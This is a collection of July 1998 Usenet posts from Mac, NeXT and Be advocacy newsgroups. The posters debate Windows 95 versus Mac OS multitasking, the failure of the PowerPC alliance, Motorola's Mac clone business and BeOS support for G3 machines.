In article <6p9acg$o8n$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2307981810170001@pm3a8.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > You see, Windows 95 has all the buzzwords, but the implementation of them
> > nullifies the results.
>
> It reduces the results. It is still better than the MacOS.
In my experience, they are about equal. I will say that Windows 95 does
hold a slight edge. But not enough to justify all the other problems with
Windows 95.
> > Take protected memory...the Windows 95 systems
> > that I've used crash more frequently than the unprotected Mac OS.
>
> That has been the opposite of my experience...
Of course it has...just like the Mac doesn't multitask while doing
processor intensive tasks like others have claimed. Nothing personal
against you, but my experience has shown that most Windows users are
talking out their ass when it comes to the Mac. Not saying that you're
doing this, but I always have my doubts.
> > Likewise, Windows 95's "pre-emptive" multitasking still can be blocked
> > with the use of 16-bit applications. In a real PM and PMT environment,
> > such as that in Windows NT, these things shouldn't be a problem.
>
> How many 16-bit applications do you run? I only run one and that's because my
> company writes it. But even if Windows 95 PM only works 1% of the time, that
> is still a greater percentage of functioning time than the MacOS can claim.
The number is irrelavent...the fact that a program can block pre-emptive
multitasking seems to ruin the whole idea of PMT. Windows users
constantly bash the Macs CMT because an application can block the
multitasking. They say that this should not be allowed...yet their
precious Windows 95 falls prey to it as well. As such, does Windows 95
really have PMT if it can be blocked?
And, Windows 95 itself still has 16 bit code for certain parts, thus the
OS itself can block the multitasking.
> > And we're not saying that the Mac OS is perfect. But when compared to the
> > alternatives, the Mac OS does quite well. I'm sorry, but the
> > implementation of Windows 95's PM and PMT offers real no benefit over the
> > Mac OS, IMO. As such, I'm not willing to switch to Windows 95 to gain
> > little in these area's, but have to deal with more problems in different
> > areas.
>
> Why not use NT then?
I use NT quite a bit and it is a nice OS...I feel it makes a very decent
end user OS. If Microsoft could smooth out the rough edges it would be
great.
Josh
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 17:06:15 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pb83o$9i1$1@plo.sierra.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <slrn6ri2rs.gl.jason@jhste1.dyn.ml.org>
NNTP-Posting-Date: 25 Jul 1998 00:15:52 GMT
Jason S. wrote in message ...
>Michael Peck posted the following to comp.sys.mac.advocacy:
>
>>Hey, does BeOS run on the G3, yet? Oh, so sorry. Thanks for playing.
>
>>From the Be PowerPC FAQ:
>
>>No, the BeOS is not compatible with Apple's "G3"
>>systems. We have requested from Apple the detailed
>>technical specifications we would need to provide
>>support for these systems, and Apple has declined
>>our requests. This information, concerning the design
>>of the logicboard, is available only from Apple.
>>Without this technical information, it is impossible
>>for us to support the new hardware.
>
>And Be Inc. is a bunch of whiners. Much of the hardware (perhaps
>all?) on the Gossamer board is documented elsewhere - witness the
>success of the Linux/PowerPC group in getting Linux to run on the
>G3 (I think they even came up with fixes for Apple's broken OF,
>IIRC).
No, they're not whiners, just smart business people. Why waste time
reverse-engineering specs for a very small platform, when that time can be
spent improving support of the really big platform?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 16:45:06 GMT
Organization: none
Message-ID: <6padmi$91m$1@server.signat.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net>
<6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
<6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net>
<35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2407981107010001@wil63.dol.net> Joe Ragosta wrote:
> AIM set up a team to develop a new series of processors. Someone stated
> that they claimed they were going to have 10% of the CPU market. I don't
> remember that, but let's say it's true.
According to Rumors Apple has 9% of the market again, so it's almost true.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 17:28:07 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981728080001@sf-usr1-29-157.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net> <35B8E397.FEE5AE46@ericsson.com>
In article <35B8E397.FEE5AE46@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> > At the expense of their own credibility? I don't see how you can
> > make a case for this. Its like the president of GM driving a Ford,
> > it certainly speaks volumes about confidence in ones's own product.
>
> No, it's like the owner of Olive Garden eating out at a different
> restaurant. I suppose you would ask what right he has to eat anywhere
> but Olive Garden.
Sorry, that won't work. Most people don't know who the 'owner' of
Olive Garden is. When he goes to another restaurant to eat, the press
doesn't write articles about it, people in the restaurant don't whisper
to each other "Look, there's the owner of Olive Garden, he's not eating
there tonight. That must mean that he doesn't like his own product."
He is anonymous, for all practical purposes, and besides, a meal is a
temporal thing. Changing computer standards isn't. Bad analogy.
>
> Hey, what does it say about the United States' confidence in it own
> companies that our armed forces fly foreign-made fighters? And that some
> of our airlines actually fly european Airbuses?
Again, bad analogy. The US Government does not MAKE airplanes or any part
of an airplane. It buys them. It is US Government policy to buy American
where feasible, but when its not, they will buy overseas. (usually, though
its a stop-gap measure. They will try to find a US supplier to make the
weapon under licence from the foreign supplier. Cases in point, The Harrier
Jet is now made by McDonnell-Douglas, Martin built the English Electric B-57
'Canberra', and an American company builds the Berretta 9mm Army Pistol
under licence.)
>
> I'm a Texan and I sometimes drink Heineken instead of Shiner Bock!
Are you connected in any way with the Texas Brewer? No? Then what you
drink is your business. We're not talking about jingoistic chauvinism
here.
> Mon dieu, I even swear in French! And my car was made in Japan! Yikes,
> my kernel was written by a Finn! What kind of American am I?
That's a question best answered by you. Your personal tastes have no
bearing whatever on this discussion.
>
> How about this for a serious answer: maybe there's nothing wrong with
> the PPC; maybe the problem is with the MacOS. Hmmmm? Maybe Motorola
> didn't use MCG clones because of Apple's product, not because of
> Motorola's product.
Well, if tyhe problem IS with MacOS, then going to Windows won't buy
them anything because if the Mac OS is bad, Windows is worse. There
is nothing about Windows which is as good as the Mac, its just better
marketed.
George Graves
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 22:40:21 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2407982240210001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <mcox-ya02408000R2407981827020001@newsource.ihug.co.nz> <35b83d99.0@news.depaul.edu>
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In article <35b83d99.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>What *are* you thinking?
Simple.
The perceived lack of support will generate a lack of confidence, leading
to a reduction in market share.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 11:41:17 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p9rst$nd1$1@nnrp02.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: IBM dropped OS/2 for PPC
True, it's their "fault" they don't sell OS/2 on PPC or Intel.
: IBM dropped AIX for PPC
False, they continue to use PPC chips in their AIX workstation line.
---
This is getting to be like an Oliver Stone movie. Last week we learned
that it was Jean-Louis Gassée, wispering in John Sculley's ear that
distroyed Apple. This week it is the AIM partners not doing enough to
help.
How pathetic. Why not say Apple made their bed and now has to lie in it?
John
From: jacobf@mindspring.com (Jacob F)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Fri, 24 Jul 1998 12:05:59 GMT
Organization: MindSpring Enterprises
Message-ID: <35b877e6.33856491@news.mindspring.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com> <joe.ragosta-2107980827300001@0.0.0.0> <6p2o5v$pr9$2@news5.ispnews.com> <joe.ragosta-2207980827140001@wil103.dol.net> <6p6uqd$t90$1@news5.ispnews.com>
All's I want is support my my sound card and my Lexmark 7000
Inkjet, then Ill have a fully functional OS.
Humorous Definition:
"Fully Functional OS - This simply meas that the OS can run DOOM with
sound effects and print any DOOM screenshots you may want."
>joe.ragosta@dol.net (Joe Ragosta) :
>
>> In article <6p2o5v$pr9$2@news5.ispnews.com>, Earl Malmrose
>> <malmrose@nospam.jetcity.com> wrote:
>>
>> > joe.ragosta@dol.net (Joe Ragosta) :
>> > > I wouldn't be surprised if Be is in a hurry to get a final, working OS
>> out
>> > > the door. A lot of issues are going to get pushed aside until the major
>> > > issues are resolved and the OS is ready for everyday consumer use.
>> >
>> > What major issues?
>>
>> Well, I haven't shelled out the money for the current release, but someone
>> posted recently that BeOS will only print over Ethernet in its current
>> form. That seems like a significant issue.
>
>In the current form I have, it prints fine to my parallel Epson Stylus
>printer, so someone misled you.
>
>--
>--Woohoo, this message posted from BeOS/Intel R3.1!
- Jacob Fuller
- DOOM Archive
- http://jf.simplenet.com
- Quake Benchmark Project
- http://jf.simplenet.com/quakebm
Date: Fri, 24 Jul 1998 08:28:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407980828330001@wil49.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p9rst$nd1$1@nnrp02.primenet.com>
In article <6p9rst$nd1$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> : IBM dropped OS/2 for PPC
>
> True, it's their "fault" they don't sell OS/2 on PPC or Intel.
>
> : IBM dropped AIX for PPC
>
> False, they continue to use PPC chips in their AIX workstation line.
Yep. I was corrected on that one.
But you ignored all the other players who were supposed to help sell PPC
but never did.
>
> ---
>
> This is getting to be like an Oliver Stone movie. Last week we learned
> that it was Jean-Louis Gassée, wispering in John Sculley's ear that
> distroyed Apple. This week it is the AIM partners not doing enough to
> help.
Read the thread. The message that I was responding to said nothing about
Apple's "destruction". It was a discussion of why AIM didn't meet its
alleged goal of having PPC take 10% of the CPU market.
IBM (OS/2)
Microost (NT)
Novell (Netware)
Sun (Solaris)
and lots of other companies dropped the ball in their efforts to help sell
PPC. Apple was left as the sole supporter, so it's not surprising that AIM
failed to meet its original objectives.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <mcox-ya02408000R2407981827020001@newsource.ihug.co.nz> <35b83d99.0@news.depaul.edu> <mcox-ya02408000R2407982240210001@newsource.ihug.co.nz>
Message-ID: <35b8859b.0@news.depaul.edu>
Date: 24 Jul 98 13:01:15 GMT
In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
> In article <35b83d99.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
> >What *are* you thinking?
> Simple.
> The perceived lack of support will generate a lack of confidence, leading
> to a reduction in market share.
Right now there's one OS. Next year there will be two. Sounds like
more support.
--
"... and subpoenas for all." - Ken Starr
From: scholl@callisto.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 24 Jul 1998 09:19:09 -0400
Organization: University at Buffalo
Message-ID: <6pa1kd$kek$1@callisto.acsu.buffalo.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net> <6p8t0h$b24$1@nnrp1.dejanews.com> <joe.ragosta-2407980805190001@wil49.dol.net>
NNTP-Posting-User: scholl
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <6p8t0h$b24$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
: > Why would they? Since the PPC is only found in one desktop system, they would
: > be promoting MacOS and all of Apple's hardware as well. That's a lot of
: > marketting baggage to carry when all you want to do is sell a chip. Motorla
: > does market their products to embedded system vendors and IBM markets their
: > PPC based workstations and servers.
: Right. Like Intel doesn't spend zillions of dollars advertising their CPU
: to consumers.
but intel also makes motherboards,video cards, network cards, controller
chips, etc... intel has a much greater interest in the success of their
pentium chips in the desktop market than moto or ibm does with the ppc.
heck, intel even has a barebones kit, with case, that they're selling
at computer city now. if the ppc fails in the desktop market, i don't
think it'd be *that* big a deal for ibm & moto.
-ed
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <jpolaski-2407980837450001@d151-33.ce.mediaone.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net> <6p85jh$g4q$2@news01.deltanet.com>
Date: Fri, 24 Jul 1998 13:31:22 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 08:31:22 CDT
Organization: MediaOne Express -=- Central Region
In article <6p85jh$g4q$2@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> In article <joe.ragosta-2307981433040001@wil48.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu>,
> >Pulsar <tokarek@uiuc.edu> wrote:
> ..
> >> While Intel spends large amounts of money on ad campaigns providing a
> >> large amount of visibility for their chips and association with the PC
> >> makers (who always have their Intel Inside chime at the end of their
> >> commercials), Motorola and IBM were and still are _silent_.
> ..
> >Absolutely. APPLE is the one advertising how fast G3 chips are. Did
> >Motorola or IBM spend even one cent on advertising their CPUs for desktop
> >computers?
>
> Well put. It would help matters a great deal if Apple did not have to
> evangalize the CPU, the OS, and the style of work.
>
> Scott
========
Hold it....its ok for Intel to tout its chips, M$ to tout its OS,....
but not ok for Apple....
Do I see a bias mask here?
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 08:34:50 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B88D7A.E304BD47@nstar.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <6p9j62$8ot$1@bartlet.df.lth.se>
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NNTP-Posting-Date: 24 Jul 1998 13:44:59 GMT
Christian Brunschen wrote:
> There is another difference: Sun did not do a sudden switch from one to
> the other; rather, they actually had both lines (m68k and SPARC) in
> production in parallel for some time. The Sun 3/80 and the SPARCstation 1
> were introduced simultaneously, for instance. (Yes, the 3/80 was basically
> the end of the line model for m68k-based Sun workstations, but it was
> there, and was about as fast as the SPARCstation 1 and fully backwards
> compatible with all your old software.) And the entire Sun 4/xxx line if
> machines, which introduced the SPARC, was being sold in parallel with the
> Sun 3/xxx machines.
Actually, the funny part about the transition from Solaris 1 to Solaris
2 is that it was so long-awaited, and when it finally came, Sun
announced that you had to buy a new machine to run it. If I remember
correctly, you had to have at least a SPARC 1 to run it, according to
Sun, which is to say the 5-series machines, rather than the 4-series.
The outcry was tremendous, especially when it was discovered that
Solaris 2 was *actually developed* on SPARC LXs. This revealed to the
world that Sun's caveat was nothing more than pure marketing and an
attempt to get users to upgrade to more expensive hardware. Sun was
eventually forced to release a version of Solaris 2 that supported
4-series hardware.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 08:40:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B88EBF.3BC076E0@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net>
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NNTP-Posting-Date: 24 Jul 1998 13:50:23 GMT
Joe Ragosta wrote:
> Once again, why is that Apple's fault?
>
> IBM could have built open PPC machine.
> Or Motorola. Or Sun. Or any number of other companies.
Oh, of course. And Apple could build open SPARC or MIPS or PA-RISC
machines if it liked. Except that Apple doesn't have an OS or a market
anywhere near any of these chips. If Apple were to move, it would have
to be confident of the viability of these chip markets. Since Apple was
basically killing the viability of long-term desktop PPC success, it
made zero business sense for IBM, Motorola, Sun, SGI, or anyone else to
hop onto the PPC track.
Of course, there's also the slightly annoying fact that the hardware
standard everyone was waiting for was canned. Maybe you missed that.
> It's not Apple's fault that all these companies dropped their PPC plans.
It must be so simple for you.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 08:43:46 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B88F92.F794FF48@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net>
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NNTP-Posting-Date: 24 Jul 1998 13:53:54 GMT
Joe Ragosta wrote:
> Still, it's hardly reasonable to lay all of the blame for PPC not taking
> over at Apple's feet.
Baloney. Even if these other companies had stuck with PPC it wouldn't
have made a dent. You didn't even know that AIX for PPC still exists;
how could we expect you to know whether Solaris or Netware currently
ship for PPC? If PPC were to "take over" it would have to do so on the
wings of a consumer OS, and that's where Apple failed miserably.
MJP
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <jpolaski-2407980852040001@d151-33.ce.mediaone.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com>
Date: Fri, 24 Jul 1998 13:45:41 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 08:45:41 CDT
Organization: MediaOne Express -=- Central Region
In article <35B7ABED.1AFBFB66@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > Motorola is doing something incredibly stupid from a business standpoint.
> > Not only are they refusing to buy computers based on their own product,
> > but they're telling the world about it.
>
> This is what doesn't matter. You yourself have been on a bender about
> how short PPC supply has always been, yet you turn around and suggest
> that Motorola should have been restricting supply even further by moving
> product into itself rather than out to the public. Hmmmm.
>
> PowerPC has always been a great embedded product for Motorola. Apple was
> the partner who profited from desktop sales and Motorola took Apple's
> word that it would be a good business move. We both know the rest; spin
> won't do you any good, sorry.
>
> MJP
======
Sorry michael, but your notion doesn't wash. More likely is that although
Apple is MOT's largest customer for PPC chips, they sell far more embedded
systems, phones etc, and since Apple just didn't *give* the licensing to
Mot for the OS/motherboards(while Apple PAYS for the chips), MOT could be
"punishing" Apple. After all, how does it look to the computing world when
the maker of a chip doesn't use the chip themselves? It's a veiled attempt
to undermine confidence. Apple affected MOT's profits and now that Apple
is turning around, MOT may want to affect Apple's fortunes as well.
Payback comes to mind...
And Wintle is "good enough" to get the job done. And "Good enough" is
heard in more aspects of todays american business than ever before,
usually in areas of costs...keeping them down, or attempting to that is.
OTOH, with the passel of problems that M$ Wintel and the PC cloners are
having, it could backfire.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <jpolaski-2407980909540001@d151-33.ce.mediaone.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com>
Date: Fri, 24 Jul 1998 14:03:31 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 09:03:31 CDT
Organization: MediaOne Express -=- Central Region
In article <6p85g8$g4q$1@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> In article <joe.ragosta-2307981259010001@wil73.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net>,
> >gmgraves@slip.net (George Graves) wrote:
> >> If I were Mr. Moto, I sure would be somewhat sour on Apple. And a
> >> Jobs run Apple for sure.
>
> >Motorola may have reason to be angry at Apple. Or, it could be as Jobs
> >said that Motorola wasn't willing to pay a fair licensing fee.
>
> The reason is irrelevant. Moto lost a heap of money in the Mac clone
> market, and that is a fact that will live on in thier corporate
> culture for some time. They know that getting in bed with Apple is a
> dangerous thing, and any top exc who remembers that is going to be a
> bit leery of working with the New Apple.
========
Hold on....MOT licenses MB's and the OS from Apple, then *undercuts* Apple
and sells a lot of boxes at little margin, so little as to lose money. But
everyong cry's Apple's boxes are overpriced and Apple made profit on the
boxes themselves, but lost it elsewhere by stupid moves.
So it's Apple's fault that MOT did not sell at a competative price and
make some money? I doubt that....how about MOT pricing their stuff too
cheap to make money..to get share and then raise prices? Apple too, under
Amelio, set the licensing price too low, it cost Apple money on each
license. That' why Apple dropped cloners...because they didn't want to pay
a higher licensing fee. It would have mamde them competative, price wise
and forced them to differentiate on features, service and....sorta like
the Wintel marketplace. How about that....novel isn't it?
> >BUT IT DOESN'T MATTER.
>
> Afraid it does.
>
> >Motorola is doing something incredibly stupid from a business standpoint.
> >Not only are they refusing to buy computers based on their own product,
> >but they're telling the world about it.
>
> Err - Moto wants to move product. Focusing the PPC on the embedded
> systems market, where it does very well indeed, is more likely to make
> them money than trying to build a computer and an OS around it.
> As a result, it buys them little to buy PPC machines.
>
> The argument that they should buy PPC based computers anyway falls
> down on several counts:
>
> The amount of cash they make from the sale of one chip is small.
> I have heard on the order $30-40 profit is a pretty good haul on a
> recent model chip. (The margins are rather tight.) Thus, if they can
> save that amount by buying a Wintel machine, it is worth doing so.
> They can always use the money saved to make cheaper/better PPC
> chips.
========
But Intel chips cost mroe than PPC's...and Wintels cost more to support,
so MOT will probably cost themselves more money, not save it.
=====
> The many studies that show Macs as cheaper to support usually have
> a flaw lurking in them. They assume that the user will not have to
> support Wintel machines anyway. It is essentially impossible to avoid
> needing MS tools, if you need to exchange documents with people on
> Wintel. I have tried DataViz, as well as other tools, and avoiding
> the MS Juggernaut is not an easy task, because these tools just do
> not work well enough.
=============
Well, if you remember the Gartner survey, it showed thre was *no penalty*
for embracing a dual platform strategy. That hasn't changed since Novell
and NT are essentially the same since that time, and the Mac
administration tools have gotten better. PnP still remains better on the
Mac, not to mention having an easier to use human interface.
=======
> (Side issue - I have done so to date, but various third party
> spreadsheets are Excel based, so I may need to buy Office.
> This saddens me, as Office is far from good. Ick.)
>
> If you will need to use Office and various other Windows products
> anyway, then the "lowered support costs" for Macintoshes will
> often become a phantom. For example, if you have ten help
> desk people, and you need to train all of them in roughly the
> same way, you are going to pay a lot for a small number of
> Macintoshes, since then every help desk person needs to become
> Mac-aware.
==========
